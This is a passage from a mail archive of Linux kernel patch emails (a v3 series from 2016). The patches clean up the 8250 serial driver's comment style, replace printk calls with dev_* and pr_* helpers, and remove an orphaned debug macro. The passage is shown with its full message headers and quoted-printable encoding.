+		dev_err(&dev->dev, "NetMos/Mostech serial driver ignoring port on am=
biguous config.\n");
+		return 0;
 	}
=20
 	moan_device("unknown NetMos/Mostech program interface", dev);
--=20
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v3 04/12] tty: serial: 8250: Fix multiline comment style
Date: Fri,  8 Jan 2016 11:22:00 +0100
Lines: 188
Approved: news@gmane.org
Message-ID: <1452248528-14023-5-git-send-email-anton.wuerfel@fau.de>
References: <1452248528-14023-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452248612 29000 80.91.229.3 (8 Jan 2016 10:23:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 10:23:32 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anton.wuerfel@fau.de>,
	Phillip Raffeck <phillip.raffe
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jan 08 11:23:22 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aHUCV-0001JK-8q
	for glk-linux-kernel-3@plane.gmane.org; Fri, 08 Jan 2016 11:23:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754589AbcAHKWk convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 8 Jan 2016 05:22:40 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:44211 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754310AbcAHKWc (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 8 Jan 2016 05:22:32 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 6519F58C4D8;
	Fri,  8 Jan 2016 11:22:29 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 08 Jan 2016 11:22:29 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452248528-14023-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2121655 gmane.linux.ports.parisc:26311
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2121655>

Checkpatch outputs some warnings about incorrect comment style,
which is fixed by this patch.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_ingenic.c | 12 ++++++++----
 drivers/tty/serial/8250/8250_pnp.c     |  6 ++++--
 drivers/tty/serial/8250/8250_port.c    | 31 ++++++++++++++++----------=
-----
 drivers/tty/serial/8250/serial_cs.c    | 26 +++++++++++++++++---------
 4 files changed, 45 insertions(+), 30 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_ingenic.c b/drivers/tty/seria=
l/8250/8250_ingenic.c
index 49394b4..086bd00 100644
--- a/drivers/tty/serial/8250/8250_ingenic.c
+++ b/drivers/tty/serial/8250/8250_ingenic.c
@@ -152,14 +152,18 @@ static void ingenic_uart_serial_out(struct uart_p=
ort *p, int offset, int value)
 		break;
=20
 	case UART_IER:
-		/* Enable receive timeout interrupt with the
-		 * receive line status interrupt */
+		/*
+		 * Enable receive timeout interrupt with the
+		 * receive line status interrupt
+		 */
 		value |=3D (value & 0x4) << 2;
 		break;
=20
 	case UART_MCR:
-		/* If we have enabled modem status IRQs we should enable modem
-		 * mode. */
+		/*
+		 * If we have enabled modem status IRQs we should enable modem
+		 * mode.
+		 */
 		ier =3D p->serial_in(p, UART_IER);
=20
 		if (ier & UART_IER_MSI)
diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/82=
50/8250_pnp.c
index 658b392..ffa7354 100644
--- a/drivers/tty/serial/8250/8250_pnp.c
+++ b/drivers/tty/serial/8250/8250_pnp.c
@@ -367,8 +367,10 @@ static const struct pnp_device_id pnp_dev_table[] =
=3D {
 	{	"PNPCXXX",		UNKNOWN_DEV	},
 	/* More unknown PnP modems */
 	{	"PNPDXXX",		UNKNOWN_DEV	},
-	/* Winbond CIR port, should not be probed. We should keep track
-	   of it to prevent the legacy serial driver from probing it */
+	/*
+	 * Winbond CIR port, should not be probed. We should keep track
+	 * of it to prevent the legacy serial driver from probing it
+	 */
 	{	"WEC1022",		CIR_PORT	},
 	/*
 	 * SMSC IrCC SIR/FIR port, should not be probed by serial driver
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index f2e588e..99f709c 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -250,9 +250,11 @@ static const struct serial8250_config uart_config[=
] =3D {
 		.fcr		=3D UART_FCR_ENABLE_FIFO | UART_FCR_R_TRIG_10,
 		.flags		=3D UART_CAP_FIFO | UART_CAP_AFE,
 	},
-/* tx_loadsz is set to 63-bytes instead of 64-bytes to implement
-workaround of errata A-008006 which states that tx_loadsz should  be
-configured less than Maximum supported fifo bytes */
+	/*
+	 * tx_loadsz is set to 63-bytes instead of 64-bytes to implement
+	 * workaround of errata A-008006 which states that tx_loadsz should b=
e
+	 * configured less than Maximum supported fifo bytes
+	 */
 	[PORT_16550A_FSL64] =3D {
 		.name		=3D "16550A_FSL64",
 		.fifo_size	=3D 64,
@@ -1969,23 +1971,22 @@ int serial8250_do_startup(struct uart_port *por=
t)
=20
 	serial8250_set_mctrl(port, port->mctrl);
=20
-	/* Serial over Lan (SoL) hack:
-	   Intel 8257x Gigabit ethernet chips have a
-	   16550 emulation, to be used for Serial Over Lan.
-	   Those chips take a longer time than a normal
-	   serial device to signalize that a transmission
-	   data was queued. Due to that, the above test generally
-	   fails. One solution would be to delay the reading of
-	   iir. However, this is not reliable, since the timeout
-	   is variable. So, let's just don't test if we receive
-	   TX irq. This way, we'll never enable UART_BUG_TXEN.
+	/*
+	 * Serial over Lan (SoL) hack:
+	 * Intel 8257x Gigabit ethernet chips have a 16550 emulation, to be u=
sed
+	 * for Serial Over Lan.  Those chips take a longer time than a normal
+	 * serial device to signalize that a transmission data was queued. Du=
e
+	 * to that, the above test generally fails. One solution would be to
+	 * delay the reading of iir. However, this is not reliable, since the
+	 * timeout is variable. So, let's just don't test if we receive TX ir=
q.
+	 * This way, we'll never enable UART_BUG_TXEN.
 	 */
 	if (up->port.flags & UPF_NO_TXEN_TEST)
 		goto dont_test_tx_en;
=20
 	/*
-	 * Do a quick test to see if we receive an
-	 * interrupt when we enable the TX irq.
+	 * Do a quick test to see if we receive an interrupt when we enable t=
he
+	 * TX irq.
 	 */
 	serial_port_out(port, UART_IER, UART_IER_THRI);
 	lsr =3D serial_port_in(port, UART_LSR);
diff --git a/drivers/tty/serial/8250/serial_cs.c b/drivers/tty/serial/8=
250/serial_cs.c
index 6d7a801..1f34867 100644
--- a/drivers/tty/serial/8250/serial_cs.c
+++ b/drivers/tty/serial/8250/serial_cs.c
@@ -441,16 +441,20 @@ static int simple_config(struct pcmcia_device *li=
nk)
 	struct serial_info *info =3D link->priv;
 	int i =3D -ENODEV, try;
=20
-	/* First pass: look for a config entry that looks normal.
-	 * Two tries: without IO aliases, then with aliases */
+	/*
+	 * First pass: look for a config entry that looks normal.
+	 * Two tries: without IO aliases, then with aliases
+	 */
 	link->config_flags |=3D CONF_AUTO_SET_VPP;
 	for (try =3D 0; try < 4; try++)
 		if (!pcmcia_loop_config(link, simple_config_check, &try))
 			goto found_port;
=20
-	/* Second pass: try to find an entry that isn't picky about
-	   its base address, then try to grab any standard serial port
-	   address, and finally try to get any free port. */
+	/*
+	 * Second pass: try to find an entry that isn't picky about
+	 * its base address, then try to grab any standard serial port
+	 * address, and finally try to get any free port.
+	 */
 	if (!pcmcia_loop_config(link, simple_config_check_notpicky, NULL))
 		goto found_port;
=20
@@ -480,8 +484,10 @@ static int multi_config_check(struct pcmcia_device=
 *p_dev, void *priv_data)
 	if (p_dev->resource[1]->end)
 		return -EINVAL;
=20
-	/* The quad port cards have bad CIS's, so just look for a
-	   window larger than 8 ports and assume it will be right */
+	/*
+	 * The quad port cards have bad CIS's, so just look for a
+	 * window larger than 8 ports and assume it will be right
+	 */
 	if (p_dev->resource[0]->end <=3D 8)
 		return -EINVAL;
=20
@@ -623,8 +629,10 @@ static int serial_config(struct pcmcia_device *lin=
k)
 			break;
 		}
=20
-	/* Another check for dual-serial cards: look for either serial or
-	   multifunction cards that ask for appropriate IO port ranges */
+	/*
+	 * Another check for dual-serial cards: look for either serial or
+	 * multifunction cards that ask for appropriate IO port ranges
+	 */
 	if ((info->multi =3D=3D 0) &&
 	    (link->has_func_id) &&
 	    (link->socket->pcmcia_pfc =3D=3D 0) &&
--=20
1.9.1



From - Thu Nov 08 21:38:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v3 10/12] tty: serial: 8250: Suitably replace printk
Date: Fri,  8 Jan 2016 11:22:06 +0100
Lines: 161
Approved: news@gmane.org
Message-ID: <1452248528-14023-11-git-send-email-anton.wuerfel@fau.de>
References: <1452248528-14023-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452248612 29016 80.91.229.3 (8 Jan 2016 10:23:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 10:23:32 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	=?UTF-8?q?Anton=20W=C3=BCr
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jan 08 11:23:23 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aHUCW-0001JK-0T
	for glk-linux-kernel-3@plane.gmane.org; Fri, 08 Jan 2016 11:23:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754675AbcAHKXQ convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 8 Jan 2016 05:23:16 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:44211 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754513AbcAHKWj (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 8 Jan 2016 05:22:39 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 7733D58C4E1;
	Fri,  8 Jan 2016 11:22:36 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 08 Jan 2016 11:22:36 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452248528-14023-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2121656 gmane.linux.ports.parisc:26312
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2121656>

=46rom: Phillip Raffeck <phillip.raffeck@fau.de>

This patch replaces printk by the corresponding variant of dev_* in ord=
er to
fix checkpatch warnings. If no suitable device pointer is present, the
corresponding pr_* variant is used.

Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
v3: Use dev_* where possible as suggested by Andy
---
 drivers/tty/serial/8250/8250_core.c  |  5 ++---
 drivers/tty/serial/8250/8250_gsc.c   |  7 ++++---
 drivers/tty/serial/8250/8250_hp300.c | 19 ++++++++++---------
 drivers/tty/serial/8250/8250_port.c  |  3 +--
 4 files changed, 17 insertions(+), 17 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index b60b58b..d6b4906 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -1094,9 +1094,8 @@ static int __init serial8250_init(void)
=20
 	serial8250_isa_init_ports();
=20
-	printk(KERN_INFO "Serial: 8250/16550 driver, "
-		"%d ports, IRQ sharing %sabled\n", nr_uarts,
-		share_irqs ? "en" : "dis");
+	pr_info("Serial: 8250/16550 driver, %d ports, IRQ sharing %sabled\n",
+		nr_uarts, share_irqs ? "en" : "dis");
=20
 #ifdef CONFIG_SPARC
 	ret =3D sunserial_register_minors(&serial8250_reg, UART_NR);
diff --git a/drivers/tty/serial/8250/8250_gsc.c b/drivers/tty/serial/82=
50/8250_gsc.c
index 2e3ea1a..b1e6ae9 100644
--- a/drivers/tty/serial/8250/8250_gsc.c
+++ b/drivers/tty/serial/8250/8250_gsc.c
@@ -42,7 +42,7 @@ static int __init serial_init_chip(struct parisc_devi=
ce *dev)
 		 * the user what they're missing.
 		 */
 		if (parisc_parent(dev)->id.hw_type !=3D HPHW_IOA)
-			printk(KERN_INFO
+			dev_info(&dev->dev,
 				"Serial: device 0x%llx not configured.\n"
 				"Enable support for Wax, Lasi, Asp or Dino.\n",
 				(unsigned long long)dev->hpa.start);
@@ -66,8 +66,9 @@ static int __init serial_init_chip(struct parisc_devi=
ce *dev)
=20
 	err =3D serial8250_register_8250_port(&uart);
 	if (err < 0) {
-		printk(KERN_WARNING
-			"serial8250_register_8250_port returned error %d\n", err);
+		dev_warn(&dev->dev,
+			"serial8250_register_8250_port returned error %d\n",
+			err);
 		iounmap(uart.port.membase);
 		return err;
 	}
diff --git a/drivers/tty/serial/8250/8250_hp300.c b/drivers/tty/serial/=
8250/8250_hp300.c
index cf566bb..cc11a84 100644
--- a/drivers/tty/serial/8250/8250_hp300.c
+++ b/drivers/tty/serial/8250/8250_hp300.c
@@ -110,7 +110,7 @@ int __init hp300_setup_serial_console(void)
 	/* Check for APCI console */
 	if (scode =3D=3D 256) {
 #ifdef CONFIG_HPAPCI
-		printk(KERN_INFO "Serial console is HP APCI 1\n");
+		pr_info("Serial console is HP APCI 1\n");
=20
 		port.uartclk =3D HPAPCI_BAUD_BASE * 16;
 		port.mapbase =3D (FRODO_BASE + FRODO_APCI_OFFSET(1));
@@ -118,7 +118,7 @@ int __init hp300_setup_serial_console(void)
 		port.regshift =3D 2;
 		add_preferred_console("ttyS", port.line, "9600n8");
 #else
-		printk(KERN_WARNING "Serial console is APCI but support is disabled =
(CONFIG_HPAPCI)!\n");
+		pr_warn("Serial console is APCI but support is disabled (CONFIG_HPAP=
CI)!\n");
 		return 0;
 #endif
 	} else {
@@ -127,7 +127,7 @@ int __init hp300_setup_serial_console(void)
 		if (!pa)
 			return 0;
=20
-		printk(KERN_INFO "Serial console is HP DCA at select code %d\n", sco=
de);
+		pr_info("Serial console is HP DCA at select code %d\n", scode);
=20
 		port.uartclk =3D HPDCA_BAUD_BASE * 16;
 		port.mapbase =3D (pa + UART_OFFSET);
@@ -141,13 +141,13 @@ int __init hp300_setup_serial_console(void)
 		if (DIO_ID(pa + DIO_VIRADDRBASE) & 0x80)
 			add_preferred_console("ttyS", port.line, "9600n8");
 #else
-		printk(KERN_WARNING "Serial console is DCA but support is disabled (=
CONFIG_HPDCA)!\n");
+		pr_warn("Serial console is DCA but support is disabled (CONFIG_HPDCA=
)!\n");
 		return 0;
 #endif
 	}
=20
 	if (early_serial_setup(&port) < 0)
-		printk(KERN_WARNING "hp300_setup_serial_console(): early_serial_setu=
p() failed.\n");
+		pr_warn("hp300_setup_serial_console(): early_serial_setup() failed.\=
n");
 	return 0;
 }
 #endif /* CONFIG_SERIAL_8250_CONSOLE */
@@ -179,8 +179,9 @@ static int hpdca_init_one(struct dio_dev *d,
 	line =3D serial8250_register_8250_port(&uart);
=20
 	if (line < 0) {
-		printk(KERN_NOTICE "8250_hp300: register_serial() DCA scode %d"
-		       " irq %d failed\n", d->scode, uart.port.irq);
+		dev_notice(&dev->dev,
+			  "8250_hp300: register_serial() DCA scode %d irq %d failed\n",
+			  d->scode, uart.port.irq);
 		return -ENOMEM;
 	}
=20
@@ -260,8 +261,8 @@ static int __init hp300_8250_init(void)
 		line =3D serial8250_register_8250_port(&uart);
=20
 		if (line < 0) {
-			printk(KERN_NOTICE "8250_hp300: register_serial() APCI"
-			       " %d irq %d failed\n", i, uart.port.irq);
+			pr_notice("8250_hp300: register_serial() APCI %d irq %d failed\n",
+				  i, uart.port.irq);
 			kfree(port);
 			continue;
 		}
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index 99f709c..343d050 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -1222,8 +1222,7 @@ static void autoconfig(struct uart_8250_port *up)
 out_lock:
 	spin_unlock_irqrestore(&port->lock, flags);
 	if (up->capabilities !=3D old_capabilities) {
-		printk(KERN_WARNING
-		       "ttyS%d: detected caps %08x should be %08x\n",
+		pr_warn("ttyS%d: detected caps %08x should be %08x\n",
 		       serial_index(port), old_capabilities,
 		       up->capabilities);
 	}
--=20
1.9.1



From - Thu Nov 08 21:38:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v3 11/12] tty: serial: 8250: Remove SERIAL_DEBUG_PNP macro
Date: Fri,  8 Jan 2016 11:22:07 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <1452248528-14023-12-git-send-email-anton.wuerfel@fau.de>
References: <1452248528-14023-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452248630 29473 80.91.229.3 (8 Jan 2016 10:23:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 10:23:50 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	=?UTF-8?q?Anton=20W=C3=BCr
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jan 08 11:23:42 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aHUCq-0001al-O3
	for glk-linux-kernel-3@plane.gmane.org; Fri, 08 Jan 2016 11:23:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754659AbcAHKXN convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 8 Jan 2016 05:23:13 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:44228 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754560AbcAHKWj (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 8 Jan 2016 05:22:39 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 9D7CF58C4D8;
	Fri,  8 Jan 2016 11:22:37 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 08 Jan 2016 11:22:37 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452248528-14023-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2121657 gmane.linux.ports.parisc:26313
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2121657>

=46rom: Phillip Raffeck <phillip.raffeck@fau.de>

This patch removes the macro SERIAL_DEBUG_PNP, which is used to enable =
debugging
at compile time. As SERIAL_DEBUG_PNP is an orphan, the corresponding #i=
fdef is
removed. To keep the ability to enable debugging at compile time, the c=
all to
printk(KERN_DEBUG ...) is replaced by a corresponding call to dev_dbg()=
, which
is configurable via CONFIG_DYNAMIC_DEBUG.

Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
v3: Remove orphaned macro as suggested by Andy
---
 drivers/tty/serial/8250/8250_pnp.c | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/82=
50/8250_pnp.c
index ffa7354..5f852e8 100644
--- a/drivers/tty/serial/8250/8250_pnp.c
+++ b/drivers/tty/serial/8250/8250_pnp.c
@@ -464,11 +464,11 @@ serial_pnp_probe(struct pnp_dev *dev, const struc=
t pnp_device_id *dev_id)
 	} else
 		return -ENODEV;
=20
-#ifdef SERIAL_DEBUG_PNP
-	printk(KERN_DEBUG
-		"Setup PNP port: port %x, mem 0x%lx, irq %d, type %d\n",
-		       uart.port.iobase, uart.port.mapbase, uart.port.irq, uart.port=
=2Eiotype);
-#endif
+	dev_debug(&dev->dev,
+		 "Setup PNP port: port %x, mem 0x%lx, irq %d, type %d\n",
+		 uart.port.iobase, uart.port.mapbase,
+		 uart.port.irq, uart.port.iotype);
+
 	if (flags & CIR_PORT) {
 		uart.port.flags |=3D UPF_FIXED_PORT | UPF_FIXED_TYPE;
 		uart.port.type =3D PORT_8250_CIR;
--=20
1.9.1



From - Thu Nov 08 21:38:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH v3 09/12] tty: serial: 8250: Fix multi-line strings
Date: Fri,  8 Jan 2016 11:22:05 +0100
Lines: 59
Approved: news@gmane.org
Message-ID: <1452248528-14023-10-git-send-email-anton.wuerfel@fau.de>
References: <1452248528-14023-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452248645 29707 80.91.229.3 (8 Jan 2016 10:24:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 10:24:05 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anton.wuerfel@fau.de>,
	Phillip Raffeck <phillip.raffe
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 08 11:24:01 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aHUD7-0001qp-R0
	for glpp-linux-parisc@plane.gmane.org; Fri, 08 Jan 2016 11:23:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754640AbcAHKX4 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jan 2016 05:23:56 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:44328 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
